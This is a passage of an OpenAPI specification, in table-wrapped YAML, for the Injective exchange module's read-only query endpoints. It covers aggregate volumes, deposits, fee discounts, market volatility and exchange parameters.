| - name: market_ids | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/aggregateVolume/{account}: | |
| get: | |
| summary: Retrieves the aggregate volumes for the specified account or subaccount | |
| operationId: AggregateVolume | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| aggregate_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| title: >- | |
| if an address is specified, then the aggregate_volumes will | |
| aggregate the | |
| volumes across all subaccounts for the address | |
| description: |- | |
| QueryAggregateVolumeResponse is the response type for the | |
| Query/AggregateVolume RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: account | |
| description: can either be an address or a subaccount | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/aggregateVolumes: | |
| get: | |
| summary: Retrieves the aggregate volumes for specified accounts | |
| operationId: AggregateVolumes | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| aggregate_account_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| account: | |
| type: string | |
| market_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| title: the aggregate volume records for the accounts specified | |
| aggregate_market_volumes: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| volume: | |
| type: object | |
| properties: | |
| maker_volume: | |
| type: string | |
| taker_volume: | |
| type: string | |
| title: the aggregate volumes for the markets specified | |
| description: |- | |
| QueryAggregateVolumesResponse is the response type for the | |
| Query/AggregateVolumes RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: accounts | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: market_ids | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/denom_decimal/{denom}: | |
| get: | |
| summary: Retrieves the denom decimals for a denom. | |
| operationId: DenomDecimal | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| decimal: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| QueryDenomDecimalResponse is the response type for the | |
| Query/DenomDecimal RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denom | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/denom_decimals: | |
| get: | |
| summary: |- | |
| Retrieves the denom decimals for multiple denoms. Returns all denom | |
| decimals if unspecified. | |
| operationId: DenomDecimals | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| denom_decimals: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| decimals: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| QueryDenomDecimalsRequest is the response type for the | |
| Query/DenomDecimals | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denoms | |
| description: denoms can be empty to query all denom decimals. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/exchangeBalances: | |
| get: | |
| summary: Retrieves all of the balances of all users on the exchange. | |
| operationId: ExchangeBalances | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balances: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| subaccount_id: | |
| type: string | |
| denom: | |
| type: string | |
| deposits: | |
| type: object | |
| properties: | |
| available_balance: | |
| type: string | |
| total_balance: | |
| type: string | |
| title: A subaccount's deposit for a given base currency | |
| description: |- | |
| QuerySubaccountDepositsResponse is the response type for the | |
| Query/SubaccountDeposits RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/subaccountDeposit: | |
| get: | |
| summary: Retrieves a Subaccount's Deposits | |
| operationId: SubaccountDeposit | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| deposits: | |
| type: object | |
| properties: | |
| available_balance: | |
| type: string | |
| total_balance: | |
| type: string | |
| title: A subaccount's deposit for a given base currency | |
| description: |- | |
| QuerySubaccountDepositsResponse is the response type for the | |
| Query/SubaccountDeposits RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: query | |
| required: false | |
| type: string | |
| - name: denom | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/subaccountDeposits: | |
| get: | |
| summary: Retrieves a Subaccount's Deposits | |
| operationId: SubaccountDeposits | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| deposits: | |
| type: object | |
| additionalProperties: | |
| type: object | |
| properties: | |
| available_balance: | |
| type: string | |
| total_balance: | |
| type: string | |
| title: A subaccount's deposit for a given base currency | |
| description: |- | |
| QuerySubaccountDepositsResponse is the response type for the | |
| Query/SubaccountDeposits RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: query | |
| required: false | |
| type: string | |
| - name: subaccount.trader | |
| in: query | |
| required: false | |
| type: string | |
| - name: subaccount.subaccount_nonce | |
| in: query | |
| required: false | |
| type: integer | |
| format: int64 | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchange/{subaccount_id}: | |
| get: | |
| summary: Retrieves a subaccount's trade nonce | |
| operationId: SubaccountTradeNonce | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| nonce: | |
| type: integer | |
| format: int64 | |
| description: |- | |
| QuerySubaccountTradeNonceResponse is the response type for the | |
| Query/SubaccountTradeNonce RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: subaccount_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/exchangeParams: | |
| get: | |
| summary: Retrieves exchange params | |
| operationId: QueryExchangeParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| spot_market_instant_listing_fee: | |
| title: >- | |
| spot_market_instant_listing_fee defines the expedited fee | |
| in INJ required | |
| to create a spot market by bypassing governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| derivative_market_instant_listing_fee: | |
| title: >- | |
| derivative_market_instant_listing_fee defines the | |
| expedited fee in INJ | |
| required to create a derivative market by bypassing | |
| governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| default_spot_maker_fee_rate: | |
| type: string | |
| title: >- | |
| default_spot_maker_fee defines the default exchange trade | |
| fee for makers on | |
| a spot market | |
| default_spot_taker_fee_rate: | |
| type: string | |
| title: >- | |
| default_spot_taker_fee_rate defines the default exchange | |
| trade fee rate for | |
| takers on a new spot market | |
| default_derivative_maker_fee_rate: | |
| type: string | |
| title: >- | |
| default_derivative_maker_fee defines the default exchange | |
| trade fee for | |
| makers on a new derivative market | |
| default_derivative_taker_fee_rate: | |
| type: string | |
| title: >- | |
| default_derivative_taker_fee defines the default exchange | |
| trade fee for | |
| takers on a new derivative market | |
| default_initial_margin_ratio: | |
| type: string | |
| title: >- | |
| default_initial_margin_ratio defines the default initial | |
| margin ratio on a | |
| new derivative market | |
| default_maintenance_margin_ratio: | |
| type: string | |
| title: >- | |
| default_maintenance_margin_ratio defines the default | |
| maintenance margin | |
| ratio on a new derivative market | |
| default_funding_interval: | |
| type: string | |
| format: int64 | |
| title: >- | |
| default_funding_interval defines the default funding | |
| interval on a | |
| derivative market | |
| funding_multiple: | |
| type: string | |
| format: int64 | |
| title: >- | |
| funding_multiple defines the timestamp multiple that the | |
| funding timestamp | |
| should be a multiple of | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the trade fee share | |
| percentage that goes to | |
| relayers | |
| default_hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| default_hourly_funding_rate_cap defines the default | |
| maximum absolute value | |
| of the hourly funding rate | |
| default_hourly_interest_rate: | |
| type: string | |
| title: hourly_interest_rate defines the hourly interest rate | |
| max_derivative_order_side_count: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| max_derivative_order_side_count defines the maximum number | |
| of derivative | |
| active orders a subaccount can have for a given orderbook | |
| side | |
| inj_reward_staked_requirement_threshold: | |
| type: string | |
| title: >- | |
| inj_reward_staked_requirement_threshold defines the | |
| threshold on INJ | |
| rewards after which one also needs staked INJ to receive | |
| more | |
| trading_rewards_vesting_duration: | |
| type: string | |
| format: int64 | |
| title: >- | |
| the trading_rewards_vesting_duration defines the vesting | |
| times for trading | |
| rewards | |
| liquidator_reward_share_rate: | |
| type: string | |
| title: >- | |
| liquidator_reward_share_rate defines the ratio of the | |
| split of the surplus | |
| collateral that goes to the liquidator | |
| binary_options_market_instant_listing_fee: | |
| title: >- | |
| binary_options_market_instant_listing_fee defines the | |
| expedited fee in INJ | |
| required to create a derivative market by bypassing | |
| governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| atomic_market_order_access_level: | |
| title: >- | |
| atomic_market_order_access_level defines the required | |
| access permissions | |
| for executing atomic market orders | |
| type: string | |
| enum: | |
| - Nobody | |
| - BeginBlockerSmartContractsOnly | |
| - SmartContractsOnly | |
| - Everyone | |
| default: Nobody | |
| spot_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| spot_atomic_market_order_fee_multiplier defines the | |
| default multiplier for | |
| executing atomic market orders in spot markets | |
| derivative_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| derivative_atomic_market_order_fee_multiplier defines the | |
| default | |
| multiplier for executing atomic market orders in | |
| derivative markets | |
| binary_options_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| binary_options_atomic_market_order_fee_multiplier defines | |
| the default | |
| multiplier for executing atomic market orders in binary | |
| markets | |
| minimal_protocol_fee_rate: | |
| type: string | |
| title: >- | |
| minimal_protocol_fee_rate defines the minimal protocol fee | |
| rate | |
| is_instant_derivative_market_launch_enabled: | |
| type: boolean | |
| title: >- | |
| is_instant_derivative_market_launch_enabled defines | |
| whether instant | |
| derivative market launch is enabled | |
| description: >- | |
| QueryExchangeParamsRequest is the response type for the | |
| Query/ExchangeParams | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/expiry_market_info/{market_id}: | |
| get: | |
| summary: Retrieves expiry market info | |
| operationId: ExpiryFuturesMarketInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| info: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| description: market ID. | |
| expiration_timestamp: | |
| type: string | |
| format: int64 | |
| description: >- | |
| expiration_timestamp defines the expiration time for a | |
| time expiry futures | |
| market. | |
| twap_start_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| expiration_twap_start_timestamp defines the start time of | |
| the TWAP | |
| calculation window | |
| expiration_twap_start_price_cumulative: | |
| type: string | |
| title: >- | |
| expiration_twap_start_price_cumulative defines the | |
| cumulative price for the | |
| start of the TWAP window | |
| settlement_price: | |
| type: string | |
| description: >- | |
| settlement_price defines the settlement price for a time | |
| expiry futures | |
| market. | |
| description: >- | |
| QueryExpiryFuturesMarketInfoResponse is the response type for the | |
| Query/ | |
| ExpiryFuturesMarketInfo RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/fee_discount_account_info/{account}: | |
| get: | |
| summary: Retrieves the account's fee discount info | |
| operationId: FeeDiscountAccountInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| tier_level: | |
| type: string | |
| format: uint64 | |
| account_info: | |
| type: object | |
| properties: | |
| maker_discount_rate: | |
| type: string | |
| taker_discount_rate: | |
| type: string | |
| staked_amount: | |
| type: string | |
| volume: | |
| type: string | |
| account_ttl: | |
| type: object | |
| properties: | |
| tier: | |
| type: string | |
| format: uint64 | |
| ttl_timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryFeeDiscountAccountInfoResponse is the response type for the | |
| Query/FeeDiscountAccountInfo RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: account | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/fee_discount_schedule: | |
| get: | |
| summary: Retrieves the fee discount schedule | |
| operationId: FeeDiscountSchedule | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| fee_discount_schedule: | |
| type: object | |
| properties: | |
| bucket_count: | |
| type: string | |
| format: uint64 | |
| bucket_duration: | |
| type: string | |
| format: int64 | |
| quote_denoms: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the trading fee quote denoms which will be counted for the | |
| fee paid | |
| contribution | |
| tier_infos: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| maker_discount_rate: | |
| type: string | |
| taker_discount_rate: | |
| type: string | |
| staked_amount: | |
| type: string | |
| volume: | |
| type: string | |
| title: the fee discount tiers | |
| disqualified_market_ids: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| the marketIDs which are disqualified from contributing to | |
| the fee paid | |
| amount | |
| description: |- | |
| QueryFeeDiscountScheduleResponse is the response type for the | |
| Query/FeeDiscountSchedule RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/fee_discount_tier_stats: | |
| get: | |
| summary: Retrieves fee discount tier stats | |
| operationId: FeeDiscountTierStatistics | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| statistics: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| tier: | |
| type: string | |
| format: uint64 | |
| count: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| QueryFeeDiscountTierStatisticsResponse is the response type for | |
| the | |
| Query/QueryFeeDiscountTierStatistics RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/historical_trade_records: | |
| get: | |
| summary: Retrieves historical trade records for a given market ID | |
| operationId: HistoricalTradeRecords | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| trade_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| market_id: | |
| type: string | |
| latest_trade_records: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| quantity: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/is_opted_out_of_rewards/{account}: | |
| get: | |
| summary: Retrieves if the account is opted out of rewards | |
| operationId: IsOptedOutOfRewards | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| is_opted_out: | |
| type: boolean | |
| description: |- | |
| QueryIsRegisteredDMMResponse is the response type for the | |
| Query/IsRegisteredDMM RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: account | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/market_volatility/{market_id}: | |
| get: | |
| summary: |- | |
| MarketVolatility computes the volatility for spot and derivative markets | |
| trading history. | |
| operationId: MarketVolatility | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| volatility: | |
| type: string | |
| history_metadata: | |
| type: object | |
| properties: | |
| group_count: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| GroupCount refers to the number of groups used. Equals | |
| RecordsSampleSize if | |
| no grouping is used | |
| records_sample_size: | |
| type: integer | |
| format: int64 | |
| description: >- | |
| RecordsSampleSize refers to the total number of records | |
| used. | |
| mean: | |
| type: string | |
| title: >- | |
| Mean refers to the arithmetic mean | |
| For trades, the mean is the VWAP computed over the grouped | |
| trade records ∑ | |
| (price * quantity) / ∑ quantity For oracle prices, the | |
| mean is computed | |
| over the price records ∑ (price) / prices_count | |
| twap: | |
| type: string | |
| title: >- | |
| TWAP refers to the time-weighted average price which | |
| equals ∑ (price_i * | |
| ∆t_i) / ∑ ∆t_i where ∆t_i = t_i - t_{i-1} | |
| first_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| FirstTimestamp is the timestamp of the oldest record | |
| considered | |
| last_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| LastTimestamp is the timestamp of the youngest record | |
| considered | |
| min_price: | |
| type: string | |
| title: >- | |
| MinPrice refers to the smallest individual raw price | |
| considered | |
| max_price: | |
| type: string | |
| title: >- | |
| MaxPrice refers to the largest individual raw price | |
| considered | |
| median_price: | |
| type: string | |
| title: >- | |
| MedianPrice refers to the median individual raw price | |
| considered | |
| title: >- | |
| MetadataStatistics refers to the metadata summary statistics | |
| of the | |
| historical sample considered | |
| raw_history: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| timestamp: | |
| type: string | |
| format: int64 | |
| price: | |
| type: string | |
| quantity: | |
| type: string | |
| description: |- | |
| QueryMarketVolatilityResponse is the response type for the | |
| Query/MarketVolatility RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: market_id | |
| in: path | |
| required: true | |
| type: string | |
| - name: trade_history_options.trade_grouping_sec | |
| description: TradeGroupingSec of 0 means use the chain's default grouping. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: trade_history_options.max_age | |
| description: >- | |
| MaxAge restricts the trade records oldest age in seconds from the | |
| current block time to consider. | |
| A value of 0 means use all the records present on the chain. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: trade_history_options.include_raw_history | |
| description: |- | |
| If IncludeRawHistory is true, the raw underlying data used for the | |
| computation is included in the response. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: trade_history_options.include_metadata | |
| description: >- | |
| If IncludeMetadata is true, metadata on the computation is included | |
| in the | |
| response. | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/mito_vault_infos: | |
| get: | |
| summary: Retrieves market making pool info | |
| operationId: MitoVaultInfos | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| master_addresses: | |
| type: array | |
| items: | |
| type: string | |
| derivative_addresses: | |
| type: array | |
| items: | |
| type: string | |
| spot_addresses: | |
| type: array | |
| items: | |
| type: string | |
| cw20_addresses: | |
| type: array | |
| items: | |
| type: string | |
| description: >- | |
| MitoVaultInfosResponse is the response type for the | |
| Query/MitoVaultInfos RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/exchange/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire exchange module's state | |
| operationId: ExchangeModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| spot_market_instant_listing_fee: | |
| title: >- | |
| spot_market_instant_listing_fee defines the expedited | |
| fee in INJ required | |
| to create a spot market by bypassing governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| derivative_market_instant_listing_fee: | |
| title: >- | |
| derivative_market_instant_listing_fee defines the | |
| expedited fee in INJ | |
| required to create a derivative market by bypassing | |
| governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| default_spot_maker_fee_rate: | |
| type: string | |
| title: >- | |
| default_spot_maker_fee defines the default exchange | |
| trade fee for makers on | |
| a spot market | |
| default_spot_taker_fee_rate: | |
| type: string | |
| title: >- | |
| default_spot_taker_fee_rate defines the default | |
| exchange trade fee rate for | |
| takers on a new spot market | |
| default_derivative_maker_fee_rate: | |
| type: string | |
| title: >- | |
| default_derivative_maker_fee defines the default | |
| exchange trade fee for | |
| makers on a new derivative market | |
| default_derivative_taker_fee_rate: | |
| type: string | |
| title: >- | |
| default_derivative_taker_fee defines the default | |
| exchange trade fee for | |
| takers on a new derivative market | |
| default_initial_margin_ratio: | |
| type: string | |
| title: >- | |
| default_initial_margin_ratio defines the default | |
| initial margin ratio on a | |
| new derivative market | |
| default_maintenance_margin_ratio: | |
| type: string | |
| title: >- | |
| default_maintenance_margin_ratio defines the default | |
| maintenance margin | |
| ratio on a new derivative market | |
| default_funding_interval: | |
| type: string | |
| format: int64 | |
| title: >- | |
| default_funding_interval defines the default funding | |
| interval on a | |
| derivative market | |
| funding_multiple: | |
| type: string | |
| format: int64 | |
| title: >- | |
| funding_multiple defines the timestamp multiple that | |
| the funding timestamp | |
| should be a multiple of | |
| relayer_fee_share_rate: | |
| type: string | |
| title: >- | |
| relayer_fee_share_rate defines the trade fee share | |
| percentage that goes to | |
| relayers | |
| default_hourly_funding_rate_cap: | |
| type: string | |
| title: >- | |
| default_hourly_funding_rate_cap defines the default | |
| maximum absolute value | |
| of the hourly funding rate | |
| default_hourly_interest_rate: | |
| type: string | |
| title: hourly_interest_rate defines the hourly interest rate | |
| max_derivative_order_side_count: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| max_derivative_order_side_count defines the maximum | |
| number of derivative | |
| active orders a subaccount can have for a given | |
| orderbook side | |
| inj_reward_staked_requirement_threshold: | |
| type: string | |
| title: >- | |
| inj_reward_staked_requirement_threshold defines the | |
| threshold on INJ | |
| rewards after which one also needs staked INJ to | |
| receive more | |
| trading_rewards_vesting_duration: | |
| type: string | |
| format: int64 | |
| title: >- | |
| the trading_rewards_vesting_duration defines the | |
| vesting times for trading | |
| rewards | |
| liquidator_reward_share_rate: | |
| type: string | |
| title: >- | |
| liquidator_reward_share_rate defines the ratio of the | |
| split of the surplus | |
| collateral that goes to the liquidator | |
| binary_options_market_instant_listing_fee: | |
| title: >- | |
| binary_options_market_instant_listing_fee defines the | |
| expedited fee in INJ | |
| required to create a derivative market by bypassing | |
| governance | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| atomic_market_order_access_level: | |
| title: >- | |
| atomic_market_order_access_level defines the required | |
| access permissions | |
| for executing atomic market orders | |
| type: string | |
| enum: | |
| - Nobody | |
| - BeginBlockerSmartContractsOnly | |
| - SmartContractsOnly | |
| - Everyone | |
| default: Nobody | |
| spot_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| spot_atomic_market_order_fee_multiplier defines the | |
| default multiplier for | |
| executing atomic market orders in spot markets | |
| derivative_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| derivative_atomic_market_order_fee_multiplier defines | |
| the default | |
| multiplier for executing atomic market orders in | |
| derivative markets | |
| binary_options_atomic_market_order_fee_multiplier: | |
| type: string | |
| title: >- | |
| binary_options_atomic_market_order_fee_multiplier | |
| defines the default | |
| multiplier for executing atomic market orders in | |
| binary markets | |
| minimal_protocol_fee_rate: | |
| type: string | |
| title: >- | |
| minimal_protocol_fee_rate defines the minimal protocol | |
| fee rate | |
| is_instant_derivative_market_launch_enabled: | |
| type: boolean | |
| title: >- | |
| is_instant_derivative_market_launch_enabled defines | |
| whether instant | |
| derivative market launch is enabled | |
